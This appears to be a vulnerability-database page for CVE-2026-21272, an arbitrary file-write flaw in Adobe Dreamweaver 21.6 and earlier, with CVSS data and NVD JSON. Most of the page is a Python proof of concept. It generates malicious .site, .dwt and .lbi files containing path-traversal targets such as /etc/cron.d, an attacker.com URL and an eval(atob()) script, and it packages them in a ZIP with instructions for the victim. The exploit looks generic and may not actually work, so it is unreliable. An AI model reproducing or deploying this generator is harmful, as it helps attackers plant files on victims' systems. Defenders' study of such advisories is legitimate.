Security Vulnerability Report
中文
CVE-2026-21272 CVSS 8.6 HIGH

CVE-2026-21272

Published: 2026-01-13 19:16:25
Last Modified: 2026-01-14 20:49:34

Description

Dreamweaver Desktop versions 21.6 and earlier are affected by an Improper Input Validation vulnerability that could lead to arbitrary file system write. An attacker could leverage this vulnerability to manipulate or inject malicious data into files on the system. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Dreamweaver Desktop <= 21.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21272 PoC - Adobe Dreamweaver Improper Input Validation This PoC demonstrates the improper input validation vulnerability in Adobe Dreamweaver that could lead to arbitrary file system write. WARNING: This code is for educational and security research purposes only. Do not use it for malicious purposes. """ import os import base64 import zipfile from pathlib import Path def create_malicious_dreamweaver_file(output_path): """ Create a malicious Dreamweaver file that exploits CVE-2026-21272 The vulnerability allows arbitrary file system write through improper input validation """ # Malicious payload that attempts path traversal for file write malicious_content = '''<?xml version="1.0" encoding="UTF-8"?> <sitedefinition version="21"> <sitename>Malicious Site</sitename> <siteroot>../../../tmp/</siteroot> <localroot>/tmp/malicious_site/</localroot> <remoteurl>http://attacker.com/</remoteurl> <imagesurl>../../../etc/cron.d/</imagesurl> <linksrelativeto>document</linksrelativeto> <uploadfilestempdir>/tmp/</uploadfilestempdir> <keepfolders>true</keepfolders> </sitedefinition> ''' # Create a malicious .dwt template file with embedded payload malicious_template = f'''<!-- TemplateBeginEditable name="head" --> <!-- CVE-2026-21272 Malicious Template This template exploits improper input validation in Dreamweaver --> <!DOCTYPE html> <html> <head> <title>Malicious Content</title> <script>//Malicious JavaScript payload</script> </head> <body> <!-- Path traversal test: ../../../tmp/pwned.txt --> <div data-file="../../../tmp/pwned.txt" data-content="COMPROMISED"> </div> </body> </html> <!-- TemplateEndEditable --> ''' # Create malicious .lbi library file malicious_library = '''<!-- Library Item - CVE-2026-21272 Exploit Improper Input Validation leading to arbitrary file write --> <script> // Malicious code injected via library item var malicious_payload = "eval(atob('" + base64.b64encode(b'alert(\"CVE-2026-21272\");').decode() + "'))"; </script> <img src="../../../tmp/malicious.png" alt="Path Traversal" /> ''' # Write malicious files with open(output_path / 'malicious.site', 'w', encoding='utf-8') as f: f.write(malicious_content) with open(output_path / 'malicious.dwt', 'w', encoding='utf-8') as f: f.write(malicious_template) with open(output_path / 'malicious.lbi', 'w', encoding='utf-8') as f: f.write(malicious_library) print(f"[+] Created malicious Dreamweaver files in {output_path}") print(f"[+] Files created: malicious.site, malicious.dwt, malicious.lbi") print(f"[!] When opened in Dreamweaver <= 21.6, these files may trigger arbitrary file write") def create_exploit_zip(output_path): """ Create a ZIP archive containing the exploit files This simulates how an attacker might deliver the exploit """ zip_path = output_path / 'CVE-2026-21272_exploit.zip' with zipfile.ZipFile(zip_path, 'w') as zipf: # Add malicious files to the archive zipf.writestr('malicious.site', '''<?xml version="1.0" encoding="UTF-8"?> <sitedefinition version="21"> <sitename>Exploit Site</sitename> <siteurl>../../../etc/cron.d/</siteurl> </sitedefinition> ''') zipf.writestr('README.txt', '''CVE-2026-21272 Exploit Package ================================= This package contains files that exploit improper input validation in Adobe Dreamweaver Desktop versions 21.6 and earlier. Files: - malicious.site: Dreamweaver site definition with path traversal Usage: 1. Extract this archive 2. Open malicious.site in Adobe Dreamweaver 3. The vulnerability will be triggered Note: This is a proof-of-concept for educational purposes. ''') print(f"[+] Created exploit archive: {zip_path}") if __name__ == '__main__': output_dir = Path('./cve-2026-21272-poc') output_dir.mkdir(exist_ok=True) create_malicious_dreamweaver_file(output_dir) create_exploit_zip(output_dir) print("\n[*] PoC generation complete") print("[*] Note: Actual exploitation requires specific conditions and Dreamweaver version")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21272", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:24.703", "lastModified": "2026-01-14T20:49:33.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dreamweaver Desktop versions 21.6 and earlier are affected by an Improper Input Validation vulnerability that could lead to arbitrary file system write. An attacker could leverage this vulnerability to manipulate or inject malicious data into files on the system. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed."}, {"lang": "es", "value": "Las versiones 21.6 y anteriores de Dreamweaver Desktop están afectadas por una vulnerabilidad de validación de entrada incorrecta que podría conducir a una escritura arbitraria en el sistema de archivos. Un atacante podría aprovechar esta vulnerabilidad para manipular o inyectar datos maliciosos en archivos del sistema. La explotación de este problema requiere interacción del usuario en el sentido de que la víctima debe abrir un archivo malicioso y el alcance se modifica."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.7", "matchCriteriaId": "18B387B5-7F08-419A-B3EC-3CB93C7E9288"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dreamweaver/apsb26-01.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}